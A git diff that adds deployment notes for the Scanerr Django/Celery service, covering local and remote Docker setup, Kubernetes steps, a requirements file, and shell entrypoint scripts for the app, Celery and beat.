00000000..a6c08178 --- /dev/null +++ b/notes/Deployment.md @@ -0,0 +1,167 @@ +# Scanerr Deployment (single Server) +- [Scanerr Deployment (single Server)](#scanerr-deployment-single-server) + - [Environment](#environment) + - [Local](#local) + - [Remote](#remote) + - [Scripts](#scripts) + - [Install and run Docker in Containers](#install-and-run-docker-in-containers) + - [Get \& Set Node Memory:](#get--set-node-memory) + - [Clean up Docker leftovers on Server](#clean-up-docker-leftovers-on-server) + + +  + +--- +  + +## Environment + +Prior to running app, configure all env's located in the /env directory. There are example .env files for both production and local environments marked `.env.dev.example` and `.env.prod.example`. Prior to running the app, be sure to update with your unique keys, domains, passwords, etc, and remove the `.example` extention from the files. **Never store actual .env's in a repo.** Things to change: +- high level django configs +- admin credentials +- email credentials +- database configs +- google API keys +- stripe keys +- OAuth keys +- twilio credentials +- slack credentials +- s3 remote storage credentials + +  + +--- +  + +## Local +Install and run locally on your machine in a dev environment. + +> Ensure you have Docker and Docker-desktop installed and running on your machine prior to this step. + +```shell +$ pip3 install virtualenv +$ virtualenv appenv +$ source appenv/bin/activate +$ mkdir app +$ git clone https://github.com/Scanerr-io/server.git +``` +*Spin-up the application* +```shell +$ docker compose -f docker-compose.local.yml up --build +``` +*Spin-down the application* +```shell +$ docker compose -f docker-compose.local.yml down +``` + +  + +--- +  + +## Remote +Install and deploy remotely in a production environment. + +> Ensure you have Docker installed and running on your server prior to this step. + +*Server configurations for Ubuntu 20.04* +``` shell +$ ssh root@your_server_ip +# apt update +# apt upgrade +# adduser {user} +# usermod -aG sudo {user} +# ufw allow OpenSSH +# ufw enable +# su {user} +``` + +*Add user to docker group* +```shell +$ sudo usermod -aG docker {user} +$ newgrp docker +``` + +*Generate SSH keys for GitHub* +``` shell +$ ssh-keygen -t ed25519 -C "your_github_email@example.com" +``` +- press `Enter` 3 times +```shell +$ eval "$(ssh-agent -s)" +$ ssh-add ~/.ssh/id_ed25519 +$ cat ~/.ssh/id_ed25519.pub +``` +- copy key to clipboard and paste in GitHub + + +*Add ssh_key.pub to {user} authorized_keys* +```shell +$ {your_ssh_key.pub} >> ~/.ssh/authorized_keys +``` + + +*Create a dir to clone the app into* +``` shell +$ cd ~ +$ mkdir app +$ cd app +$ git clone git@github.com:Scanerr-io/server.git +``` +*Spin-up the application* +```shell +$ docker compose -f docker-compose.prod.yml up -d --build +``` +*Spin-down the application* +```shell +$ docker compose -f docker-compose.prod.yml down +``` +*Spin-down the application and removes the volumes* +```shell +$ docker-compose -f docker-compose.prod.yml down -v +``` + + + +  + +--- + +  + +## Scripts + +*ssh into container* +``` shell +$ docker exec -it /bin/sh +``` + + +### Install and run Docker in Containers +```shell +sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker; +service docker start && +sleep 10 && +docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt && +``` + + +### Get & Set Node Memory: +Get Current Memory +```shell +node -e 'console.log(`Node RAM space: ${v8.getHeapStatistics().heap_size_limit/(1024*1024)}`)' +``` +Set New Memory +```shell +export NODE_OPTIONS="--max-old-space-size=4080" # Increase to 4 GB +export NODE_OPTIONS="--max-old-space-size=5120" # Increase to 5 GB +export NODE_OPTIONS="--max-old-space-size=6144" # Increase to 6 GB +export NODE_OPTIONS="--max-old-space-size=7168" # Increase to 7 GB +export NODE_OPTIONS="--max-old-space-size=8192" # Increase to 8 GB +``` + + +### Clean up Docker leftovers on Server +```shell +docker system prune --all --force --volumes +``` \ No newline at end of file diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md new file mode 100644 index 00000000..f7f2d14d --- /dev/null +++ b/notes/Kubernetes.md @@ -0,0 +1,213 @@ +# Notes on k8s deployments +--- +
+ + +### Create k8s files in yaml (kompose) +```shell +kompose convert -f docker-compose.yml -o ./k8s +``` + +### Build k8s +```shell +kubectl apply -f ./k8s/k8s-local.yaml +``` + +### Delete k8s +```shell +kubectl delete -f ./k8s/k8s-local.yaml +``` + +### List containers +```shell +kubectl get pod +``` + +### List pods with IPs +```shell +kubectl get pod -o wide +``` + +### To get all creation events for debugging: +```shell +kubectl get events --sort-by=.metadata.creationTimestamp +``` + +### SSH into container: +```shell +kubectl exec -it celery-849f76858b-bvmqg -- /bin/sh +``` + +### Creating secrets for docker: +```shell +kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=landonr --docker-password= --docker-email= +``` + +#### - Then add this to both celery and app containers: +```yaml +spec: + imagePullSecrets: + - name: regcred +``` + +### Start and Stop minikube +```shell +minikube start +minikube stop +``` + +### Port Forwarding for app +```shell +kubectl port-forward service/app-service 8000:8000 +``` + + +
+ + +# Setps to Deploy localy +1. ensure minikube is running + - ``` minikube status ``` +2. create secrets for app image pull from docker + - ``` kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username= --docker-password= --docker-email= ``` +3. build db-configs-configs + - ``` kubectl apply db-configs.yaml ``` +4. build db-deployment + - ``` kubectl apply db-deployment.yaml ``` +5. build redis-deployment +6. get pod ip of db-deployment + - ``` kubectl get pod --template '{{.status.podIP}}' ``` + - or ``` kubectl get pod -o wide ``` +7. copy ip and paste into app-configs-configs for field "DB_HOST" +8. build app-configs + - ``` kubectl apply app-config.yaml ``` +9. build app-deployment + - ``` kubectl apply db-deployment.yaml ``` +10. build celery-deployment + - ``` kubectl apply db-deployment.yaml ``` +11. port forwarding to app deployment + - ``` kubectl port-forward service/app-service 8000:8000 ``` + + +--- + +
+ +# Setps to Deploy Remotely + +> Ensure you are in the `/server` root directory + +### 1. Create docker secrets +``` shell +kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username='' --docker-password='' --docker-email='' +``` + + +### 1. Build Dockerfile into image +``` shell +docker build . -t scanerr/server:latest +docker image push scanerr/server:latest +``` + + +### 2. Install nginx ingress controler on cluster +``` shell +kubectl apply -f ./k8s/prod/app-loadbalancer.yaml +``` +- Then add and `A` record for domain that points to new loadbalancer + - ref -> https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.1.1/deploy/static/provider/do/deploy.yaml + + +### 3. Update ingress-nginx-controler "Service file" with domain - if not already updated. +- add the below annotation +``` shell +service.beta.kubernetes.io/do-loadbalancer-hostname: "api.scanerr.io" +``` + + +### 4. Spin up Scanerr deployments and services +``` shell +kubectl apply -f ./k8s/prod/app-configs.yaml +kubectl apply -f ./k8s/prod/redis-deployment.yaml +kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml +kubectl apply -f ./k8s/prod/app-deployment.yaml +kubectl apply -f ./k8s/prod/celery-deployment.yaml +kubectl apply -f ./k8s/prod/celery-autoscaler.yaml +kubectl apply -f ./k8s/prod/beat-deployment.yaml +``` + + +#### 4.a Spin up YLT deploymemt, service, and autoscaler +``` shell +kubectl apply -f ./k8s/prod/ylt-deployment.yaml +kubectl apply -f ./k8s/prod/ylt-autoscaler.yaml # DEPRECIATE +``` + + +### 5. Add app Ingress +``` shell +kubectl apply -f ./k8s/prod/app-ingress.yaml +``` + + +### 6. Install cert-manager +``` shell +kubectl apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.12.0/cert-manager.yaml +``` + + +### 7. Add cert issure +``` shell +kubectl apply -f ./k8s/prod/app-cert-issuer.yaml +``` +> NOTE: May have to wait a bit before running this one + + +### 8. Update app Ingress for TLS +- Uncomment the "TLS section" & "cert-manager.io/cluster-issuer annotation" then reapply +``` shell +kubectl apply -f ./k8s/prod/app-ingress.yaml +``` + + +### 9. Install kubeip dameon & service +``` shell +kubectl apply -f ./k8s/prod/kubeip-service.yaml +kubectl apply -f ./k8s/prod/kubeip-daemon.yaml +``` + + +### NOTES: + - When reprovisioning to new domains and SSL certs ensure all `certificates` & `secrets` are deleted + - `kubectl delete certificate ` + - `kubectl delete secret ` ... may have to do this in the k8s dashboard + - Restart celery, beat, & app deployments for a config-map change: + - `kubectl rollout restart deployment app-deployment celery-deployment` + - Check status of deployment rollout + - `kubectl rollout status deployment/app-deployment` + - Get Current IPs for pods: + - `kubectl exec -- curl -s http://checkip.dyndns.org/ | sed 's/[a-zA-Z<>/ :]//g'` + - Force delete pods that are stuck in `Terminating`: + - `for p in $(kubectl get pods | grep Terminating | awk '{print $1}'); do kubectl delete pod $p --grace-period=0 --force;done` + - Stream Logs for all celery-deployments: + - `kubectl logs -f --all-containers deployment/celery-deployment` + - `kubectl logs -f --selector=app=celery-deployment --all-containers --max-log-requests=7` + + + +--- + +
+ +# Migration Notes for DB: +1. Go to `models.py` and comment out all new additions +2. Spinup staging env locally to create `00001_initial.py` migration as baseline + - `docker compose -f docker-compose.stage.yml up --build` +3. Spin down staging env + - `docker compose -f docker-compose.stage.yml down` +4. Un-comment all new additions in `models.py` +5. Spinup staging env locally again and ensure a new migration file is created in `/migrations` + - `docker compose -f docker-compose.stage.yml up --build` +6. Spin down staging env + - `docker compose -f docker-compose.stage.yml down` +7. Merge `dev` branch on github using a pull request \ No newline at end of file diff --git a/setup/requirements/requirements.txt b/setup/requirements/requirements.txt new file mode 100644 index 00000000..45f55aea --- /dev/null +++ b/setup/requirements/requirements.txt @@ -0,0 +1,58 @@ +amqp==5.2.0 +asgiref==3.8.1 +beautifulsoup4==4.12.2 +billiard==4.2.0 +boto3==1.20.32 +celery==5.4.0 +certifi==2023.7.22 +chardet==4.0.0 +click==8.1.7 +click-didyoumean==0.3.1 +click-plugins==1.1.1 +click-repl==0.3.0 +Django==5.0.6 +django-celery-beat==2.6.0 +django-filter==24.2 +djangorestframework==3.15.1 +django-markdownify==0.9.5 +django-cors-headers==4.3.1 +django-storages==1.14.3 +djangorestframework-simplejwt==5.3.1 +docker==5.0.0 +gunicorn==20.1.0 +humanize==3.7.0 +idna==2.10 +imutils==0.5.4 +kombu==5.3.7 +Markdown==3.6 +numpy~=1.26.4 +openai==1.35.14 +opencv-python==4.5.5.64 +Pillow==10.3.0 +prometheus-client==0.8.0 +prompt-toolkit==3.0.43 +psycopg2==2.9.9 +pyjwt==2.1.0 +pytz==2021.1 +redis==3.5.3 +requests==2.25.1 +reportlab==4.2.0 +scikit-image==0.23.2 +scipy==1.13.0 +selenium==4.18.1 +sendgrid==6.9.7 +six==1.16.0 +slack-sdk==3.11.2 +sqlparse==0.4.1 +stripe==8.0.0 +tornado==6.1 +twilio==7.3.0 +urllib3==1.26.5 +vine==5.1.0 +wcwidth==0.2.5 +websocket-client==1.0.1 +whitenoise==6.1.0 + + + + diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh new file mode 100755 index 00000000..0cc19ab7 --- /dev/null +++ b/setup/scripts/entrypoint.sh @@ -0,0 +1,45 @@ +#!/bin/bash + +# spin up app in local or remote env +if [[ $1 == *"app"* ]] + then + if [[ $2 == *"local"* ]] + then + python3 manage.py wait_for_db && + python3 manage.py migrate --no-input && + python3 manage.py create_admin && + python3 manage.py driver_test && + python3 manage.py runserver 0.0.0.0:8000 + fi + if [[ $2 == *"remote"* ]] + then + python3 manage.py wait_for_db && + python3 manage.py migrate --no-input && + python3 manage.py create_admin && + python3 manage.py driver_test && + gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000 + fi + if [[ $2 == *"stage"* ]] + then + python3 manage.py wait_for_db && + python3 manage.py makemigrations --no-input && + python3 manage.py migrate --no-input + fi +fi + +# spin up celery +if [[ $1 == *"celery"* ]] + then + python3 manage.py wait_for_db && + echo "pausing for migrations to complete..." && sleep 7s && + celery -A scanerr worker -E --loglevel=info -O fair +fi + +# spin up celery beat +if [[ $1 == *"beat"* ]] + then + python3 manage.py wait_for_db && + echo "pausing for migrations to complete..." && sleep 7s && + celery -A scanerr beat --scheduler django --loglevel=info +fi + diff --git a/setup/scripts/local.sh b/setup/scripts/local.sh new file mode 100644 index 00000000..441257ec --- /dev/null +++ b/setup/scripts/local.sh @@ -0,0 +1,17 @@ +#!/bin/bash + +# ensure you create $SCANERR_ROOT first: +# echo 'export SCANERR_ROOT=' >> ~/.zshrc (or ~/.bash_profile) + +cd $SCANERR_ROOT/server && +{ + docker compose -f docker-compose.local.yml down && + docker volume rm server_app server_beat server_celery && + docker compose -f docker-compose.local.yml up --build +} || { + docker volume rm server_app server_beat server_celery && + docker compose -f docker-compose.local.yml up --build +} || { + docker compose -f docker-compose.local.yml up --build +} +